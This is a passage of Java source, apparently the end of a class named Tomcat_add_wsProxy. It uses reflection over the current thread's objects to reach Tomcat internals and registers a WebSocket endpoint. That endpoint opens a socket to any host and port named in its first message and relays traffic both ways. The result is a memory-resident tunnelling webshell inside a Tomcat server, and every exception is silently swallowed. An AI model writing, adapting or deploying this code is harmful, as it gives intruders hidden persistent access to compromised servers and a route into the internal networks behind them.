declaredField.setAccessible(true);
Object o = null;

try {
o = declaredField.get(start);
if (!o.getClass().isArray()) {
this.p(o, depth);
} else {
Object[] var9 = (Object[])((Object[])o);
int var10 = var9.length;

for(int var11 = 0; var11 < var10; ++var11) {
Object q = var9[var11];
this.p(q, depth);
}
}
} catch (Exception var13) {
}
}
} while((n = n.getSuperclass()) != null);

}

public Tomcat_add_wsProxy() {
h = new HashSet();
this.F(Thread.currentThread(), 0);
}

@Override
public void completed(Integer result, Tomcat_add_wsProxy attachment) {
this.buffer.clear();
try {
if(this.buffer.hasRemaining() && result>=0)
{
byte[] arr = new byte[result];
ByteBuffer b = this.buffer.get(arr,0,result);
baos.write(arr,0,result);
ByteBuffer q = ByteBuffer.wrap(baos.toByteArray());
if (this.channel.isOpen()) {
this.channel.getBasicRemote().sendBinary(q);
}
baos = new ByteArrayOutputStream();
readFromServer(this.channel,this.client);
}else{
if(result > 0)
{
byte[] arr = new byte[result];
ByteBuffer b = buffer.get(arr,0,result);
baos.write(arr,0,result);
readFromServer(this.channel,this.client);
}
}
} catch (Exception ignored) {}
}

@Override
public void failed(Throwable exc, Tomcat_add_wsProxy attachment) {

}

@Override
public void onMessage(ByteBuffer byteBuffer) {
try {
byteBuffer.clear();
i++;
process(byteBuffer, this.session);
} catch (Exception ignored) {
}
}


void readFromServer(Session channel,AsynchronousSocketChannel client){
this.buffer = ByteBuffer.allocate(50000);

this.client = client;
this.channel = channel;
client.read(this.buffer, this, this);
}
void process(ByteBuffer z,Session channel)
{
try{
if(i>1)
{
AsynchronousSocketChannel client = map.get(channel.getId());
client.write(z).get();
z.flip();
z.clear();
}
else if(i==1)
{
String values = new String(z.array());
String[] array = values.split(" ");
String[] addrarray = array[1].split(":");
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
int po = Integer.parseInt(addrarray[1]);
InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po);
Future<Void> future = client.connect(hostAddress);
try {
future.get(10, TimeUnit.SECONDS);
} catch(Exception ignored){
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
return;
}
map.put(channel.getId(), client);
readFromServer(channel,client);
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
}
}catch(Exception ignored){
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
i=0;
this.session = session;
session.addMessageHandler((MessageHandler)this);
}
}